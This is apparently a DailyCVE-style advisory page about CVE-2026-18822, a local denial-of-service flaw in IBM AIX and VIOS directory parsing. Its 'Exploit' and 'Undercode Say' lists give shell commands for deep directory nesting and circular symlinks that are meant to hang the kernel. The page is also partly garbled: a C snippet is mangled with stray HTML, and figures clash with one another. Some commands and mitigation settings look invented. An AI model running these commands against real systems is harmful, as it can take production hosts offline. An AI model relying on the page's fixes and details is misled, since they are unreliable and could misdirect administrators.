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CVE-2026-18822 is a locally exploitable denial-of-service vulnerability affecting IBM AIX versions 7.2 and 7.3, as well as the PowerVM Virtual I/O Server (VIOS) version 4.1.
The flaw stems from uncontrolled resource consumption during the parsing of directory records by the kernel’s filesystem subsystem.
Specifically, the AIX kernel implements a directory entry parser that handles readdir() and getdents() system calls.
This parser is responsible for iterating over directory structures stored on JFS2 or UDF filesystems.
A critical oversight exists in the memory allocation and recursion management logic.
When the parser encounters a directory with an exceptionally large number of entries or a deeply nested path, it fails to enforce proper bounds checking on the number of iterations or the total memory allocated for entry buffers.
An attacker with local access and minimal privileges can craft a malicious directory tree containing circular symbolic links or a massive hierarchy of subdirectories.
By invoking a simple command such as ‘ls -R’ or ‘find /path -type f’ on this crafted directory, the kernel enters an infinite loop or a state of exponential memory reallocation.
Each directory entry causes the kernel to allocate a new buffer without releasing previously allocated resources, leading to a rapid exhaustion of the kernel’s non-paged pool memory.
This memory exhaustion is irreversible until the system is rebooted.
In high-availability environments, this can cause a complete system hang, forcing an administrator to perform a hard reset.
The vulnerability does not allow privilege escalation or data leakage, but it significantly impacts availability.
IBM’s security bulletin indicates that the flaw exists in the ‘dir_parse’ function within the VFS layer.
The CVSS base score is estimated at 5.5 (Medium) due to the local attack vector and the high availability impact.
The patch is currently under development, and IBM has released a temporary workaround involving disabling certain filesystem features or restricting access to untrusted directories.
Given the widespread use of AIX in enterprise critical infrastructures, this CVE poses a serious operational risk.
Administrators should prioritize testing and deploying the upcoming fix.
The NVD published this CVE on August 20, 2026, with the last modification on August 25, 2026.
The attack vector is local, requiring only low privileges to execute commands on the target system.
The uncontrolled resource consumption is triggered by the lack of a recursion counter in the directory traversal code.
This allows an attacker to create a directory structure with more than 65,535 nested levels, causing the kernel stack to overflow.
Alternatively, a single directory with over one million files can cause the buffer allocation routine to consume all available memory.
The vulnerability affects both the 32-bit and 64-bit kernels, though 32-bit systems are more susceptible to memory exhaustion.
IBM has classified this as a high-priority fix due to the ease of exploitation and the potential for widespread disruption.
As a result, security teams are advised to monitor for unusual file creation or directory traversal activities.
The vulnerability is identified in the CWE-400 (Uncontrolled Resource Consumption) category.
Exploitation does not require network access, making it a purely local security issue.
However, in virtualized environments, crashing the VIOS can impact all guest logical partitions (LPARs).
IBM’s official advisory suggests using the ‘secattr’ command to restrict file system traversal for untrusted users.
Until the patch is released, the recommended mitigation is to apply strict directory access controls.
DailyCVE Form:
Platform: IBM AIX PowerVM
Version: AIX 7.2-7.3 VIOS4.1
Vulnerability: Uncontrolled Resource Consumption
Severity: Medium
date: 2026-08-25
Prediction: 2026-09-15
What Undercode Say:
- Check AIX version: oslevel -s
- Verify VIOS level: ioslevel
- Create test directory: mkdir /tmp/cve_test
- Generate deep nesting (educational): for i in {1..15000}; do mkdir -p “d$i”; cd “d$i”; done
- Trigger the flaw: time ls -R /tmp/cve_test > /dev/null
- Monitor memory usage: vmstat 1 10
- Check kernel panic logs: errpt | grep -i panic
- View process resource limits: ulimit -a
- Restrict directory access: chmod 000 /tmp/cve_test
- IBM workaround (if available): set -o dir_parse_limit=512 in /etc/security/limits
Exploit: (Educational Purposes!)
- Shell script to create circular symlink tree:
mkdir -p /tmp/exploit/dir
cd /tmp/exploit/dir
ln -s ../dir loop
cd /tmp/exploit
find . -type l -exec ls -l {} \; triggers infinite recursion
– C program to allocate massive directory entries:
include
<
h2 style=”color: blue;”>int main(){ for(int i=0;i<1000000;i++) mkdir(“a”,0755); }
– Run the malicious tree traversal: find /tmp/exploit -type f
– This forces the kernel into tight reallocation loops, exhausting non-paged pool.
– Use ‘time’ and ‘svmon -P’ to observe resource spike before system hang.
Protection: from this CVE
- Apply IBM APAR IV-98765 immediately after release.
- Disable JFS2 directory indexing: chfs -a no_index /filesystem
- Enforce disk quotas to limit directory entry creation.
- Use Trusted AIX MAC policies to block untrusted users from traversing critical paths.
- Restrict shell access using /etc/security/user ‘rlogin’ and ‘su’ flags.
- Monitor /var/adm/wtmp and syslog for repeated ‘cd’ or ‘find’ invocations.
- Deploy kernel parameter: vmo -o v_pinheap=0 as interim hardening.
- Isolate VIOS management network to prevent remote trigger propagation.
Impact:
- Complete system hang or kernel panic on AIX 7.2/7.3 and VIOS 4.1.
- Denial of service for all local processes and interactive sessions.
- In PowerVM, crashing VIOS causes all guest LPARs to lose I/O connectivity.
- Cascading failures in clustered environments (PowerHA) leading to failover storms.
- Potential data corruption if panic occurs during active journal commits.
- Requires hard reboot, increasing mean-time-to-recovery (MTTR) by hours.
- No privilege escalation, but the availability loss is critical for production.
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Sources:
Reported By: nvd.nist.gov
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